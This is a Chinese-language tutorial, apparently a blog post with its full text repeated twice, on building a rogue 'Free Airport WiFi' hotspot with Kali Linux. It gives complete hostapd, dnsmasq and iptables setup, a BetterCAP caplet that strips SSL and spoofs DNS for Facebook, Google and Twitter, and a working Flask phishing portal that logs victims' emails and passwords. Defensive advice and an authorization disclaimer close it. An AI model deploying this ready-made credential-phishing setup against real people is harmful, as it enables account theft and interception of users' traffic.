1. 项目概述为什么WiFi钓鱼依然是渗透测试的核心技能如果你在网络安全领域摸爬滚打超过三年就会明白一个道理最有效的攻击往往不是去破解最复杂的加密算法而是去“说服”用户自己交出钥匙。WiFi钓鱼或者说无线网络钓鱼攻击就是这一理念的经典实践。它不依赖于暴力破解WPA2/WPA3那令人望而生畏的握手包而是利用人性中的信任与疏忽构建一个看似无害的陷阱。2025年的今天尽管安全意识普遍提升但公共WiFi、临时热点依然是企业内网渗透、个人数据窃取的高发入口。掌握一套成熟、隐蔽且能适应新环境的WiFi钓鱼技术对于渗透测试工程师和红队成员而言不仅是必备技能更是评估目标安全防护脆弱性的关键一环。Kali Linux作为渗透测试的“瑞士军刀”其工具链每年都在迭代。2025年的最新环境意味着我们需要关注工具的新特性、依赖库的变更以及应对如WPA3-Enterprise等新安全机制的策略调整。本次分享我将基于最新的Kali Linux滚动更新版本拆解一次完整的WiFi钓鱼实战演练。从环境准备、工具选型到钓鱼热点搭建、流量劫持与凭证捕获最后是清理痕迹与防御建议。我会重点分享在过去几年实战中积累的细节技巧和常见坑点这些是你在官方文档里找不到的“干货”。无论你是刚入门的新手还是想更新自己知识库的老手这篇内容都能让你搭建一个可复现的、贴近实战的钓鱼测试环境。2. 环境准备与核心工具链解析工欲善其事必先利其器。一次成功的WiFi钓鱼始于一个稳定且功能齐全的测试环境。这里我们不讨论如何在物理机或虚拟机安装Kali假设你已经有了一个运行良好的Kali 2025.x。我们需要聚焦于无线网卡、驱动和核心工具的选择这些是决定成败的基础。2.1 无线网卡选型与监控模式驱动并非所有无线网卡都支持监控模式和数据包注入这是执行任何高级无线攻击的前提。2025年经过社区多年筛选以下几款芯片的网卡依然是稳定可靠的选择Atheros AR9271芯片经典中的经典如TP-Link TL-WN722N v1。价格低廉对aircrack-ng套件兼容性极佳驱动稳定。缺点是仅支持2.4GHz频段。Ralink RT3070/RT3572芯片同样兼容性好许多USB网卡采用此方案。Realtek RTL8812AU/8814AU芯片这是当前的主流和推荐选择。它支持2.4GHz和5GHz双频监控模式和数据注入性能强劲。像Alfa AWUS036ACHM这类网卡就是基于此芯片。注意购买时务必确认芯片型号而非仅仅看网卡品牌。许多新款网卡使用了不再支持监控模式的芯片。拿到网卡后在Kali中执行lsusb确认芯片型号。安装驱动通常是最大的坑点。对于RTL8812AU芯片Kali预装了rtl8812au驱动但为了最佳性能我习惯手动编译最新版驱动sudo apt update sudo apt install -y dkms build-essential bc git clone https://github.com/aircrack-ng/rtl8812au.git cd rtl8812au sudo make dkms_install编译安装后重新插拔网卡使用sudo airmon-ng检查网卡是否被正确识别并支持监控模式。2.2 核心工具安装与功能定位Kali预装了大部分工具但我们仍需确保其是最新版并理解其角色aircrack-ng套件基石工具。我们主要使用airmon-ng管理监控模式、airodump-ng嗅探探测、aireplay-ng注入数据包。通过sudo apt install aircrack-ng确保更新。hostapd用于将我们的无线网卡变成一个功能完整的接入点。这是创建钓鱼热点的核心。sudo apt install hostapd。dnsmasq轻量级的DNS和DHCP服务器。用于为连接到我们钓鱼热点的客户端分配IP地址并处理DNS查询。sudo apt install dnsmasq。iptablesLinux内核自带的防火墙工具用于配置NAT转发将客户端的流量导向我们的攻击机再通往真实互联网实现“中间人”位置。sslstrip或BetterCAP用于降级或拦截HTTPS流量。由于现代网站普遍采用HSTS传统sslstrip效果有限。更推荐使用BetterCAP它功能更强大。sudo apt install bettercap。fluxion或wifiphisher**自动化钓鱼框架。它们整合了上述工具提供了图形化或交互式的攻击流程。对于初学者或快速演示很有用。但作为资深从业者我强烈建议从手动搭建开始这能让你透彻理解每一个环节在遇到问题时能从容排错。本次我们将手动搭建。3. 手动搭建钓鱼热点从零到一的控制权使用自动化工具就像开自动挡汽车而手动搭建则是彻底理解发动机原理。我们创建一个名为“Free Airport WiFi”的开放热点这是公共场所最常见的陷阱。3.1 配置hostapd创建接入点首先将无线网卡假设为wlan0切换到监控模式并启动一个虚拟接口如wlan0mon用于嗅探同时另一个接口如at0用于创建热点。但更清晰的方案是使用两张网卡或使用支持同时运行监听和AP模式的网卡如RTL8812AU配合特定驱动。这里以单网卡创建虚拟接口为例# 停止可能干扰的网络管理器 sudo systemctl stop NetworkManager sudo systemctl stop wpa_supplicant # 启用监控模式并创建虚拟接口 sudo airmon-ng start wlan0 # 假设监控模式接口为 wlan0mon sudo airmon-ng start wlan0mon # 这会创建一个可用于AP模式的接口比如 at0接下来创建/etc/hostapd/hostapd.conf配置文件interfaceat0 # 使用创建出的虚拟接口 drivernl80211 ssidFree Airport WiFi channel6 hw_modeg ignore_broadcast_ssid0 auth_algs1 wpa0 # 0表示开放网络无需密码这里的关键是wpa0和ssid的命名。名称要具有诱惑力且合情合理“Free Airport WiFi”、“Starbucks_Guest”、“Hotel_Lobby”都是经典选择。然后启动hostapdsudo hostapd /etc/hostapd/hostapd.conf。此时你的热点应该已经广播手机或电脑可以搜索到。3.2 配置dnsmasq与iptables实现网络共享热点有了但客户端连上后无法上网。我们需要分配IP并转发流量。先配置dnsmasq编辑/etc/dnsmasq.conf或新建一个临时文件interfaceat0 dhcp-range10.0.0.10,10.0.0.100,255.255.255.0,12h dhcp-option3,10.0.0.1 dhcp-option6,10.0.0.1 server8.8.8.8解释一下interface指定监听接口dhcp-range定义分配的IP池dhcp-option3是网关我们设为攻击机虚拟接口的IP需手动设置dhcp-option6是DNS服务器也指向攻击机这样我们才能劫持DNS查询server是上游DNS当我们需要正常解析时使用。为虚拟接口at0设置IP地址sudo ifconfig at0 up 10.0.0.1 netmask 255.255.255.0接着配置iptables实现NAT转发和流量重定向# 启用IP转发 sudo sysctl -w net.ipv4.ip_forward1 # 设置iptables规则将来自钓鱼热点的流量进行NAT转发假设你的出站网卡是eth0 sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -A FORWARD -i at0 -o eth0 -j ACCEPT sudo iptables -A FORWARD -i eth0 -o at0 -m state --state RELATED,ESTABLISHED -j ACCEPT # 重定向HTTP流量到本地透明代理例如BetterCAP的端口 sudo iptables -t nat -A PREROUTING -i at0 -p tcp --dport 80 -j REDIRECT --to-port 8080 # 重定向DNS流量可选用于DNS欺骗 sudo iptables -t nat -A PREROUTING -i at0 -p udp --dport 53 -j REDIRECT --to-port 53最后启动dnsmasqsudo dnsmasq -C /etc/dnsmasq.conf。现在连接到“Free Airport WiFi”的设备将获得10.0.0.x的IP网关和DNS都是10.0.0.1并且其HTTP流量会被重定向到我们机器的8080端口。4. 流量劫持、嗅探与凭证捕获实战网络通了我们占据了“中间人”的位置。接下来就是如何窥探和操控流量以捕获敏感信息。4.1 使用BetterCAP进行实时流量操控BetterCAP是一个功能强大的中间人攻击框架比古老的sslstrip强大得多。我们用它来处理HTTP/HTTPS流量。首先创建一个配置文件bettercap.cap:set http.proxy.sslstrip true set http.proxy.injectjs /path/to/your/inject.js # 可选用于注入JS脚本 set dns.spoof.all true set dns.spoof.domains *.facebook.com, *.google.com, *.twitter.com # 要欺骗的域名 http.proxy on dns.spoof onsslstrip选项会尝试将HTTPS连接降级为HTTP但对于强制HSTS的网站如Gmail、银行网站无效。dns.spoof可以将特定域名的查询指向我们的攻击机配合我们搭建的伪造登录页面效果更佳。启动BetterCAPsudo bettercap -iface at0 -caplet bettercap.cap。它会启动一个HTTP透明代理默认端口8080与我们iptables规则匹配和DNS欺骗服务。4.2 部署伪造门户与凭证捕获当用户连接开放热点后通常会自动弹出一个“门户页面”要求认证或接受条款。我们可以模仿这一行为。使用工具如wifiphisher自带的钓鱼页面或自己用Python Flask快速搭建一个。例如创建一个简单的Flask应用phishing_portal.pyfrom flask import Flask, request, render_template_string import logging app Flask(__name__) logging.basicConfig(filenamecredentials.log, levellogging.INFO) HTML_FORM !DOCTYPE html html headtitleAirport WiFi Login/title/head body h2Welcome to Free Airport WiFi/h2 pPlease login with your social account for free access./p form methodPOST Email: input typetext nameemailbr Password: input typepassword namepasswordbr input typesubmit valueLogin /form /body /html app.route(/, methods[GET, POST]) def login(): if request.method POST: email request.form.get(email) password request.form.get(password) logging.info(fCaptured - Email: {email}, Password: {password}) # 记录后可以重定向到真实网站 return scriptwindow.location.hrefhttps://www.google.com;/script return render_template_string(HTML_FORM) if __name__ __main__: app.run(host0.0.0.0, port80)运行此应用sudo python3 phishing_portal.py。由于iptables已将80端口的流量重定向到了8080BetterCAP我们需要调整。更好的方法是让Flask运行在另一个端口如5000然后通过BetterCAP的http.proxy模块或iptables的PREROUTING规则将访问特定域名如login.wifi-airport.com的流量重定向到我们的钓鱼服务器。更高级的做法是利用DNS欺骗。当用户尝试访问www.facebook.com时dnsmasq受BetterCAP控制将其解析到我们的攻击机IP10.0.0.1我们运行在80端口的钓鱼页面模仿Facebook登录界面就会呈现给用户。用户输入的凭证就会被我们记录。4.3 被动嗅探与关键信息提取除了主动钓鱼被动嗅探也很有价值。在监控模式下使用airodump-ng wlan0mon可以捕获周围的WiFi握手包。虽然我们本次不破解密码但可以收集 Probe Request 帧这些帧会暴露设备曾经连接过的SSID名称有助于我们构建更具针对性的钓鱼热点名称列表。对于HTTP流量BetterCAP的代理会明文展示所有经过的HTTP请求头、Cookie和POST数据。你可以实时看到用户在访问哪些网站以及他们提交的非加密表单数据。务必注意任何HTTPS流量在未成功降级或伪造证书的情况下内容是不可见的你只能看到域名SNI。5. 防御视角如何识别与防范此类攻击作为一名渗透测试者理解攻击是为了更好地防御。从防御方来看识别和防范WiFi钓鱼需要技术和意识双管齐下。5.1 技术层面的检测与防护警惕开放热点对于名称过于通用如“Free WiFi”或与场所官方名称不符的开放网络保持高度怀疑。优先使用已知的、需要密码或需要通过官方渠道认证的网络。检查网关和DNS连接一个WiFi后查看获取到的网关和DNS服务器地址。如果它们不是常见的路由器地址如192.168.x.1或公共DNS如8.8.8.8而是奇怪的地址很可能处于恶意网络中。在Linux/Mac下用netstat -rn或ip route在Windows下用ipconfig /all查看。强制使用HTTPS与HSTS确保浏览器访问重要网站时地址栏是https://且带有锁形图标。使用“HTTPS Everywhere”等浏览器扩展。网站启用HSTS可以极大降低SSL剥离攻击的成功率。使用VPN在不可信的公共WiFi下使用可靠的VPN服务可以加密所有出入你设备的流量即使攻击者处于中间人位置也无法解密你的数据。这是最有效的防护手段之一。部署企业级无线入侵检测系统对于企业环境可以部署如Kismet、AirTight等方案用于检测网络中的流氓接入点、解除认证攻击泛洪等恶意行为。5.2 安全意识最重要的防火墙勿连接后即登录连接到陌生开放网络后不要立即登录任何重要账户邮箱、社交、银行。可以先进行一些无敏感信息的浏览观察是否有异常跳转或证书警告。警惕证书警告如果浏览器弹出“此网站的安全证书存在问题”警告且网站是你熟知的应立即断开WiFi连接。这很可能是攻击者在进行SSL中间人攻击。关闭WiFi自动连接禁用设备对“已知网络”的自动连接功能特别是对于公共热点。防止设备自动连接到攻击者仿冒的、与你之前连接过的热点同名的网络。双因素认证为所有重要账户启用双因素认证。即使密码被钓鱼获取没有第二重验证因子攻击者依然无法登录。6. 实战后的清理与思考测试结束后务必清理现场恢复环境这不仅是为了不干扰正常网络也是一种职业习惯。# 1. 停止服务 sudo pkill hostapd sudo pkill dnsmasq sudo pkill bettercap sudo pkill python3 # 停止钓鱼服务器 # 2. 清理iptables规则 sudo iptables -t nat -F sudo iptables -F sudo sysctl -w net.ipv4.ip_forward0 # 3. 停止监控模式 sudo airmon-ng stop wlan0mon sudo airmon-ng stop at0 # 4. 重启网络管理器 sudo systemctl start NetworkManager回顾整个过程手动搭建的每一步都充满了细节。比如单网卡同时做监听和AP可能遇到的不稳定dnsmasq配置错误导致客户端无法获取IPiptables规则顺序错误导致流量不通BetterCAP的证书在Android/iOS上不被信任导致钓鱼页面无法以HTTPS加载等等。每一次排错都是对网络协议栈更深的理解。我个人在多次演练中体会最深的一点是钓鱼的成功率与热点的“上下文”高度相关。在机场仿冒“Free Airport WiFi”远比在咖啡厅仿冒同一个名字更可信。社会工程学的分量不亚于技术本身。因此在真正的渗透测试中前期的信息收集至关重要了解目标人员经常出入的场所、使用的公共网络名称能极大提高钓鱼热点的可信度。最后所有技术都应在合法授权和道德准则下使用。这套方法的价值在于帮助安全人员理解攻击链从而设计出更有效的防御策略加固我们共同依赖的网络空间。
2025年Kali Linux无线钓鱼实战:从环境搭建到流量劫持的完整指南
发布时间:2026/6/30 4:04:57
1. 项目概述为什么WiFi钓鱼依然是渗透测试的核心技能如果你在网络安全领域摸爬滚打超过三年就会明白一个道理最有效的攻击往往不是去破解最复杂的加密算法而是去“说服”用户自己交出钥匙。WiFi钓鱼或者说无线网络钓鱼攻击就是这一理念的经典实践。它不依赖于暴力破解WPA2/WPA3那令人望而生畏的握手包而是利用人性中的信任与疏忽构建一个看似无害的陷阱。2025年的今天尽管安全意识普遍提升但公共WiFi、临时热点依然是企业内网渗透、个人数据窃取的高发入口。掌握一套成熟、隐蔽且能适应新环境的WiFi钓鱼技术对于渗透测试工程师和红队成员而言不仅是必备技能更是评估目标安全防护脆弱性的关键一环。Kali Linux作为渗透测试的“瑞士军刀”其工具链每年都在迭代。2025年的最新环境意味着我们需要关注工具的新特性、依赖库的变更以及应对如WPA3-Enterprise等新安全机制的策略调整。本次分享我将基于最新的Kali Linux滚动更新版本拆解一次完整的WiFi钓鱼实战演练。从环境准备、工具选型到钓鱼热点搭建、流量劫持与凭证捕获最后是清理痕迹与防御建议。我会重点分享在过去几年实战中积累的细节技巧和常见坑点这些是你在官方文档里找不到的“干货”。无论你是刚入门的新手还是想更新自己知识库的老手这篇内容都能让你搭建一个可复现的、贴近实战的钓鱼测试环境。2. 环境准备与核心工具链解析工欲善其事必先利其器。一次成功的WiFi钓鱼始于一个稳定且功能齐全的测试环境。这里我们不讨论如何在物理机或虚拟机安装Kali假设你已经有了一个运行良好的Kali 2025.x。我们需要聚焦于无线网卡、驱动和核心工具的选择这些是决定成败的基础。2.1 无线网卡选型与监控模式驱动并非所有无线网卡都支持监控模式和数据包注入这是执行任何高级无线攻击的前提。2025年经过社区多年筛选以下几款芯片的网卡依然是稳定可靠的选择Atheros AR9271芯片经典中的经典如TP-Link TL-WN722N v1。价格低廉对aircrack-ng套件兼容性极佳驱动稳定。缺点是仅支持2.4GHz频段。Ralink RT3070/RT3572芯片同样兼容性好许多USB网卡采用此方案。Realtek RTL8812AU/8814AU芯片这是当前的主流和推荐选择。它支持2.4GHz和5GHz双频监控模式和数据注入性能强劲。像Alfa AWUS036ACHM这类网卡就是基于此芯片。注意购买时务必确认芯片型号而非仅仅看网卡品牌。许多新款网卡使用了不再支持监控模式的芯片。拿到网卡后在Kali中执行lsusb确认芯片型号。安装驱动通常是最大的坑点。对于RTL8812AU芯片Kali预装了rtl8812au驱动但为了最佳性能我习惯手动编译最新版驱动sudo apt update sudo apt install -y dkms build-essential bc git clone https://github.com/aircrack-ng/rtl8812au.git cd rtl8812au sudo make dkms_install编译安装后重新插拔网卡使用sudo airmon-ng检查网卡是否被正确识别并支持监控模式。2.2 核心工具安装与功能定位Kali预装了大部分工具但我们仍需确保其是最新版并理解其角色aircrack-ng套件基石工具。我们主要使用airmon-ng管理监控模式、airodump-ng嗅探探测、aireplay-ng注入数据包。通过sudo apt install aircrack-ng确保更新。hostapd用于将我们的无线网卡变成一个功能完整的接入点。这是创建钓鱼热点的核心。sudo apt install hostapd。dnsmasq轻量级的DNS和DHCP服务器。用于为连接到我们钓鱼热点的客户端分配IP地址并处理DNS查询。sudo apt install dnsmasq。iptablesLinux内核自带的防火墙工具用于配置NAT转发将客户端的流量导向我们的攻击机再通往真实互联网实现“中间人”位置。sslstrip或BetterCAP用于降级或拦截HTTPS流量。由于现代网站普遍采用HSTS传统sslstrip效果有限。更推荐使用BetterCAP它功能更强大。sudo apt install bettercap。fluxion或wifiphisher**自动化钓鱼框架。它们整合了上述工具提供了图形化或交互式的攻击流程。对于初学者或快速演示很有用。但作为资深从业者我强烈建议从手动搭建开始这能让你透彻理解每一个环节在遇到问题时能从容排错。本次我们将手动搭建。3. 手动搭建钓鱼热点从零到一的控制权使用自动化工具就像开自动挡汽车而手动搭建则是彻底理解发动机原理。我们创建一个名为“Free Airport WiFi”的开放热点这是公共场所最常见的陷阱。3.1 配置hostapd创建接入点首先将无线网卡假设为wlan0切换到监控模式并启动一个虚拟接口如wlan0mon用于嗅探同时另一个接口如at0用于创建热点。但更清晰的方案是使用两张网卡或使用支持同时运行监听和AP模式的网卡如RTL8812AU配合特定驱动。这里以单网卡创建虚拟接口为例# 停止可能干扰的网络管理器 sudo systemctl stop NetworkManager sudo systemctl stop wpa_supplicant # 启用监控模式并创建虚拟接口 sudo airmon-ng start wlan0 # 假设监控模式接口为 wlan0mon sudo airmon-ng start wlan0mon # 这会创建一个可用于AP模式的接口比如 at0接下来创建/etc/hostapd/hostapd.conf配置文件interfaceat0 # 使用创建出的虚拟接口 drivernl80211 ssidFree Airport WiFi channel6 hw_modeg ignore_broadcast_ssid0 auth_algs1 wpa0 # 0表示开放网络无需密码这里的关键是wpa0和ssid的命名。名称要具有诱惑力且合情合理“Free Airport WiFi”、“Starbucks_Guest”、“Hotel_Lobby”都是经典选择。然后启动hostapdsudo hostapd /etc/hostapd/hostapd.conf。此时你的热点应该已经广播手机或电脑可以搜索到。3.2 配置dnsmasq与iptables实现网络共享热点有了但客户端连上后无法上网。我们需要分配IP并转发流量。先配置dnsmasq编辑/etc/dnsmasq.conf或新建一个临时文件interfaceat0 dhcp-range10.0.0.10,10.0.0.100,255.255.255.0,12h dhcp-option3,10.0.0.1 dhcp-option6,10.0.0.1 server8.8.8.8解释一下interface指定监听接口dhcp-range定义分配的IP池dhcp-option3是网关我们设为攻击机虚拟接口的IP需手动设置dhcp-option6是DNS服务器也指向攻击机这样我们才能劫持DNS查询server是上游DNS当我们需要正常解析时使用。为虚拟接口at0设置IP地址sudo ifconfig at0 up 10.0.0.1 netmask 255.255.255.0接着配置iptables实现NAT转发和流量重定向# 启用IP转发 sudo sysctl -w net.ipv4.ip_forward1 # 设置iptables规则将来自钓鱼热点的流量进行NAT转发假设你的出站网卡是eth0 sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo iptables -A FORWARD -i at0 -o eth0 -j ACCEPT sudo iptables -A FORWARD -i eth0 -o at0 -m state --state RELATED,ESTABLISHED -j ACCEPT # 重定向HTTP流量到本地透明代理例如BetterCAP的端口 sudo iptables -t nat -A PREROUTING -i at0 -p tcp --dport 80 -j REDIRECT --to-port 8080 # 重定向DNS流量可选用于DNS欺骗 sudo iptables -t nat -A PREROUTING -i at0 -p udp --dport 53 -j REDIRECT --to-port 53最后启动dnsmasqsudo dnsmasq -C /etc/dnsmasq.conf。现在连接到“Free Airport WiFi”的设备将获得10.0.0.x的IP网关和DNS都是10.0.0.1并且其HTTP流量会被重定向到我们机器的8080端口。4. 流量劫持、嗅探与凭证捕获实战网络通了我们占据了“中间人”的位置。接下来就是如何窥探和操控流量以捕获敏感信息。4.1 使用BetterCAP进行实时流量操控BetterCAP是一个功能强大的中间人攻击框架比古老的sslstrip强大得多。我们用它来处理HTTP/HTTPS流量。首先创建一个配置文件bettercap.cap:set http.proxy.sslstrip true set http.proxy.injectjs /path/to/your/inject.js # 可选用于注入JS脚本 set dns.spoof.all true set dns.spoof.domains *.facebook.com, *.google.com, *.twitter.com # 要欺骗的域名 http.proxy on dns.spoof onsslstrip选项会尝试将HTTPS连接降级为HTTP但对于强制HSTS的网站如Gmail、银行网站无效。dns.spoof可以将特定域名的查询指向我们的攻击机配合我们搭建的伪造登录页面效果更佳。启动BetterCAPsudo bettercap -iface at0 -caplet bettercap.cap。它会启动一个HTTP透明代理默认端口8080与我们iptables规则匹配和DNS欺骗服务。4.2 部署伪造门户与凭证捕获当用户连接开放热点后通常会自动弹出一个“门户页面”要求认证或接受条款。我们可以模仿这一行为。使用工具如wifiphisher自带的钓鱼页面或自己用Python Flask快速搭建一个。例如创建一个简单的Flask应用phishing_portal.pyfrom flask import Flask, request, render_template_string import logging app Flask(__name__) logging.basicConfig(filenamecredentials.log, levellogging.INFO) HTML_FORM !DOCTYPE html html headtitleAirport WiFi Login/title/head body h2Welcome to Free Airport WiFi/h2 pPlease login with your social account for free access./p form methodPOST Email: input typetext nameemailbr Password: input typepassword namepasswordbr input typesubmit valueLogin /form /body /html app.route(/, methods[GET, POST]) def login(): if request.method POST: email request.form.get(email) password request.form.get(password) logging.info(fCaptured - Email: {email}, Password: {password}) # 记录后可以重定向到真实网站 return scriptwindow.location.hrefhttps://www.google.com;/script return render_template_string(HTML_FORM) if __name__ __main__: app.run(host0.0.0.0, port80)运行此应用sudo python3 phishing_portal.py。由于iptables已将80端口的流量重定向到了8080BetterCAP我们需要调整。更好的方法是让Flask运行在另一个端口如5000然后通过BetterCAP的http.proxy模块或iptables的PREROUTING规则将访问特定域名如login.wifi-airport.com的流量重定向到我们的钓鱼服务器。更高级的做法是利用DNS欺骗。当用户尝试访问www.facebook.com时dnsmasq受BetterCAP控制将其解析到我们的攻击机IP10.0.0.1我们运行在80端口的钓鱼页面模仿Facebook登录界面就会呈现给用户。用户输入的凭证就会被我们记录。4.3 被动嗅探与关键信息提取除了主动钓鱼被动嗅探也很有价值。在监控模式下使用airodump-ng wlan0mon可以捕获周围的WiFi握手包。虽然我们本次不破解密码但可以收集 Probe Request 帧这些帧会暴露设备曾经连接过的SSID名称有助于我们构建更具针对性的钓鱼热点名称列表。对于HTTP流量BetterCAP的代理会明文展示所有经过的HTTP请求头、Cookie和POST数据。你可以实时看到用户在访问哪些网站以及他们提交的非加密表单数据。务必注意任何HTTPS流量在未成功降级或伪造证书的情况下内容是不可见的你只能看到域名SNI。5. 防御视角如何识别与防范此类攻击作为一名渗透测试者理解攻击是为了更好地防御。从防御方来看识别和防范WiFi钓鱼需要技术和意识双管齐下。5.1 技术层面的检测与防护警惕开放热点对于名称过于通用如“Free WiFi”或与场所官方名称不符的开放网络保持高度怀疑。优先使用已知的、需要密码或需要通过官方渠道认证的网络。检查网关和DNS连接一个WiFi后查看获取到的网关和DNS服务器地址。如果它们不是常见的路由器地址如192.168.x.1或公共DNS如8.8.8.8而是奇怪的地址很可能处于恶意网络中。在Linux/Mac下用netstat -rn或ip route在Windows下用ipconfig /all查看。强制使用HTTPS与HSTS确保浏览器访问重要网站时地址栏是https://且带有锁形图标。使用“HTTPS Everywhere”等浏览器扩展。网站启用HSTS可以极大降低SSL剥离攻击的成功率。使用VPN在不可信的公共WiFi下使用可靠的VPN服务可以加密所有出入你设备的流量即使攻击者处于中间人位置也无法解密你的数据。这是最有效的防护手段之一。部署企业级无线入侵检测系统对于企业环境可以部署如Kismet、AirTight等方案用于检测网络中的流氓接入点、解除认证攻击泛洪等恶意行为。5.2 安全意识最重要的防火墙勿连接后即登录连接到陌生开放网络后不要立即登录任何重要账户邮箱、社交、银行。可以先进行一些无敏感信息的浏览观察是否有异常跳转或证书警告。警惕证书警告如果浏览器弹出“此网站的安全证书存在问题”警告且网站是你熟知的应立即断开WiFi连接。这很可能是攻击者在进行SSL中间人攻击。关闭WiFi自动连接禁用设备对“已知网络”的自动连接功能特别是对于公共热点。防止设备自动连接到攻击者仿冒的、与你之前连接过的热点同名的网络。双因素认证为所有重要账户启用双因素认证。即使密码被钓鱼获取没有第二重验证因子攻击者依然无法登录。6. 实战后的清理与思考测试结束后务必清理现场恢复环境这不仅是为了不干扰正常网络也是一种职业习惯。# 1. 停止服务 sudo pkill hostapd sudo pkill dnsmasq sudo pkill bettercap sudo pkill python3 # 停止钓鱼服务器 # 2. 清理iptables规则 sudo iptables -t nat -F sudo iptables -F sudo sysctl -w net.ipv4.ip_forward0 # 3. 停止监控模式 sudo airmon-ng stop wlan0mon sudo airmon-ng stop at0 # 4. 重启网络管理器 sudo systemctl start NetworkManager回顾整个过程手动搭建的每一步都充满了细节。比如单网卡同时做监听和AP可能遇到的不稳定dnsmasq配置错误导致客户端无法获取IPiptables规则顺序错误导致流量不通BetterCAP的证书在Android/iOS上不被信任导致钓鱼页面无法以HTTPS加载等等。每一次排错都是对网络协议栈更深的理解。我个人在多次演练中体会最深的一点是钓鱼的成功率与热点的“上下文”高度相关。在机场仿冒“Free Airport WiFi”远比在咖啡厅仿冒同一个名字更可信。社会工程学的分量不亚于技术本身。因此在真正的渗透测试中前期的信息收集至关重要了解目标人员经常出入的场所、使用的公共网络名称能极大提高钓鱼热点的可信度。最后所有技术都应在合法授权和道德准则下使用。这套方法的价值在于帮助安全人员理解攻击链从而设计出更有效的防御策略加固我们共同依赖的网络空间。